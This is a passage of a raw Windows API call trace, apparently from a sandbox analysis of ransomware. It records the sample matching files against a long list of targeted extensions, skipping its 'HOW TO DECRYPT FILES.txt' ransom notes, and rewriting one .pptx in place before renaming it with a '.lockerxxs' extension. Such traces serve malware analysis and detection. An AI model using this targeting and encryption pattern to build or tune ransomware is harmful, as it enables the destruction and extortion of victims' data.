[0086.700] lstrlenA (lpString="*.msg") returned 5 [0086.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.edb") returned 0 [0086.701] lstrlenA (lpString="*.edb") returned 5 [0086.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.accdb") returned 0 [0086.701] lstrlenA (lpString="*.accdb") returned 7 [0086.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.odb") returned 0 [0086.701] lstrlenA (lpString="*.odb") returned 5 [0086.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.java") returned 0 [0086.701] lstrlenA (lpString="*.java") returned 6 [0086.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.asm") returned 0 [0086.701] lstrlenA (lpString="*.asm") returned 5 [0086.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.pfx") returned 0 [0086.701] lstrlenA (lpString="*.pfx") returned 5 [0086.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.pem") returned 0 [0086.701] lstrlenA (lpString="*.pem") returned 5 [0086.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.p12") returned 0 [0086.701] lstrlenA (lpString="*.p12") returned 5 [0086.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.gpg") returned 0 [0086.701] lstrlenA (lpString="*.gpg") returned 5 [0086.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.vsd") returned 0 [0086.701] lstrlenA (lpString="*.vsd") returned 5 [0086.701] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe72b3720, ftCreationTime.dwHighDateTime=0x1d5e3c1, ftLastAccessTime.dwLowDateTime=0x600aa5a0, ftLastAccessTime.dwHighDateTime=0x1d5de53, ftLastWriteTime.dwLowDateTime=0x600aa5a0, ftLastWriteTime.dwHighDateTime=0x1d5de53, nFileSizeHigh=0x0, nFileSizeLow=0x5ba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="r3isW8GdO8TRui.flv", cAlternateFileName="R3ISW8~1.FLV")) returned 1 [0086.702] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.702] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="r3isW8GdO8TRui.flv") returned -1 [0086.702] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="r3isW8GdO8TRui.flv") returned -1 [0086.702] lstrcmpiA (lpString1="", lpString2="r3isW8GdO8TRui.flv") returned -1 [0086.702] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif") returned="qysHNYm_8RPQ.gif" [0086.702] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.702] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.702] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.702] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.702] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="r3isW8GdO8TRui.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\r3isW8GdO8TRui.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\r3isW8GdO8TRui.flv" [0086.702] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8020640, ftCreationTime.dwHighDateTime=0x1d5d863, ftLastAccessTime.dwLowDateTime=0x32ef1a20, ftLastAccessTime.dwHighDateTime=0x1d5d9bb, ftLastWriteTime.dwLowDateTime=0x32ef1a20, ftLastWriteTime.dwHighDateTime=0x1d5d9bb, nFileSizeHigh=0x0, nFileSizeLow=0xb4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rGUGJ71fLIaMTeLLPvfh.pptx", cAlternateFileName="RGUGJ7~1.PPT")) returned 1 [0086.703] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rGUGJ71fLIaMTeLLPvfh.pptx") returned -1 [0086.703] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rGUGJ71fLIaMTeLLPvfh.pptx") returned -1 [0086.703] lstrcmpiA (lpString1="", lpString2="rGUGJ71fLIaMTeLLPvfh.pptx") returned -1 [0086.703] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\r3isW8GdO8TRui.flv") returned="r3isW8GdO8TRui.flv" [0086.703] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.703] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.703] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.703] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.703] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="rGUGJ71fLIaMTeLLPvfh.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx" [0086.703] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx" [0086.703] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx" [0086.703] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx." [0086.703] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx.lockerxxs" [0086.703] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rgugj71fliamtellpvfh.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.704] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb4dd [0086.704] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb8020640, dwHighDateTime=0x1d5d863), lpLastAccessTime=0x407536*(dwLowDateTime=0x32ef1a20, dwHighDateTime=0x1d5d9bb), lpLastWriteTime=0x40753e*(dwLowDateTime=0x32ef1a20, dwHighDateTime=0x1d5d9bb)) returned 1 [0086.704] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.704] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb4b7, lpOverlapped=0x0) returned 1 [0086.706] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx") returned="rGUGJ71fLIaMTeLLPvfh.pptx" [0086.706] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.706] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb4b7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb4b7, lpOverlapped=0x0) returned 1 [0086.706] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.707] CloseHandle (hObject=0x90) returned 1 [0086.707] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rgugj71fliamtellpvfh.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rgugj71fliamtellpvfh.pptx.lockerxxs")) returned 1 [0086.708] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfceeb0, ftCreationTime.dwHighDateTime=0x1d5d982, ftLastAccessTime.dwLowDateTime=0x7d5fcfa0, ftLastAccessTime.dwHighDateTime=0x1d5db2d, ftLastWriteTime.dwLowDateTime=0x7d5fcfa0, ftLastWriteTime.dwHighDateTime=0x1d5db2d, nFileSizeHigh=0x0, nFileSizeLow=0xeee8, dwReserved0=0xd70001d6, dwReserved1=0x4e00c4, cFileName="RWUTVg_ONjBOpHH.swf", cAlternateFileName="RWUTVG~1.SWF")) returned 1 [0086.708] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.708] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RWUTVg_ONjBOpHH.swf") returned -1 [0086.708] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RWUTVg_ONjBOpHH.swf") returned -1 [0086.708] lstrcmpiA (lpString1="", lpString2="RWUTVg_ONjBOpHH.swf") returned -1 [0086.708] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rGUGJ71fLIaMTeLLPvfh.pptx") returned="rGUGJ71fLIaMTeLLPvfh.pptx" [0086.708] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.708] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.708] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.709] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.709] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="RWUTVg_ONjBOpHH.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf" [0086.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.ems") returned 0 [0086.709] lstrlenA (lpString="*.ems") returned 5 [0086.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.db") returned 0 [0086.709] lstrlenA (lpString="*.db") returned 4 [0086.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.dbf") returned 0 [0086.709] lstrlenA (lpString="*.dbf") returned 5 [0086.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.myox") returned 0 [0086.709] lstrlenA (lpString="*.myox") returned 6 [0086.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.myo") returned 0 [0086.709] lstrlenA (lpString="*.myo") returned 5 [0086.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.qbw") returned 0 [0086.709] lstrlenA (lpString="*.qbw") returned 5 [0086.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.qbb") returned 0 [0086.709] lstrlenA (lpString="*.qbb") returned 5 [0086.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.qbm") returned 0 [0086.709] lstrlenA (lpString="*.qbm") returned 5 [0086.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.qbo") returned 0 [0086.710] lstrlenA (lpString="*.qbo") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.qbx") returned 0 [0086.710] lstrlenA (lpString="*.qbx") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.qba") returned 0 [0086.710] lstrlenA (lpString="*.qba") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.qby") returned 0 [0086.710] lstrlenA (lpString="*.qby") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.qbj") returned 0 [0086.710] lstrlenA (lpString="*.qbj") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.ofx") returned 0 [0086.710] lstrlenA (lpString="*.ofx") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.qif") returned 0 [0086.710] lstrlenA (lpString="*.qif") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.mye") returned 0 [0086.710] lstrlenA (lpString="*.mye") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.mbox") returned 0 [0086.710] lstrlenA (lpString="*.mbox") returned 6 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.eml") returned 0 [0086.710] lstrlenA (lpString="*.eml") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.pst") returned 0 [0086.710] lstrlenA (lpString="*.pst") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.ost") returned 0 [0086.710] lstrlenA (lpString="*.ost") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.idx") returned 0 [0086.710] lstrlenA (lpString="*.idx") returned 5 [0086.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.dbx") returned 0 [0086.711] lstrlenA (lpString="*.dbx") returned 5 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.sql") returned 0 [0086.711] lstrlenA (lpString="*.sql") returned 5 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.mdb") returned 0 [0086.711] lstrlenA (lpString="*.mdb") returned 5 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.fdb") returned 0 [0086.711] lstrlenA (lpString="*.fdb") returned 5 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.wab") returned 0 [0086.711] lstrlenA (lpString="*.wab") returned 5 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.dat") returned 0 [0086.711] lstrlenA (lpString="*.dat") returned 5 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.txt") returned 0 [0086.711] lstrlenA (lpString="*.txt") returned 5 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.jpeg") returned 0 [0086.711] lstrlenA (lpString="*.jpeg") returned 6 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.jpg") returned 0 [0086.711] lstrlenA (lpString="*.jpg") returned 5 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.png") returned 0 [0086.711] lstrlenA (lpString="*.png") returned 5 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.php") returned 0 [0086.711] lstrlenA (lpString="*.php") returned 5 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.cs") returned 0 [0086.711] lstrlenA (lpString="*.cs") returned 4 [0086.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.cpp") returned 0 [0086.712] lstrlenA (lpString="*.cpp") returned 5 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.rar") returned 0 [0086.712] lstrlenA (lpString="*.rar") returned 5 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.zip") returned 0 [0086.712] lstrlenA (lpString="*.zip") returned 5 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.html") returned 0 [0086.712] lstrlenA (lpString="*.html") returned 6 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.htm") returned 0 [0086.712] lstrlenA (lpString="*.htm") returned 5 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.xlsx") returned 0 [0086.712] lstrlenA (lpString="*.xlsx") returned 6 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.xls") returned 0 [0086.712] lstrlenA (lpString="*.xls") returned 5 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.mp4") returned 0 [0086.712] lstrlenA (lpString="*.mp4") returned 5 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.ppt") returned 0 [0086.712] lstrlenA (lpString="*.ppt") returned 5 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.pptx") returned 0 [0086.712] lstrlenA (lpString="*.pptx") returned 6 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.doc") returned 0 [0086.712] lstrlenA (lpString="*.doc") returned 5 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.dot") returned 0 [0086.712] lstrlenA (lpString="*.dot") returned 5 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.docx") returned 0 [0086.712] lstrlenA (lpString="*.docx") returned 6 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.7z") returned 0 [0086.712] lstrlenA (lpString="*.7z") returned 4 [0086.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.tar") returned 0 [0086.712] lstrlenA (lpString="*.tar") returned 5 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.bz2") returned 0 [0086.713] lstrlenA (lpString="*.bz2") returned 5 [0086.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RWUTVg_ONjBOpHH.swf", pszSpec="*.gz") returned 0 [0086.713] lstrlenA 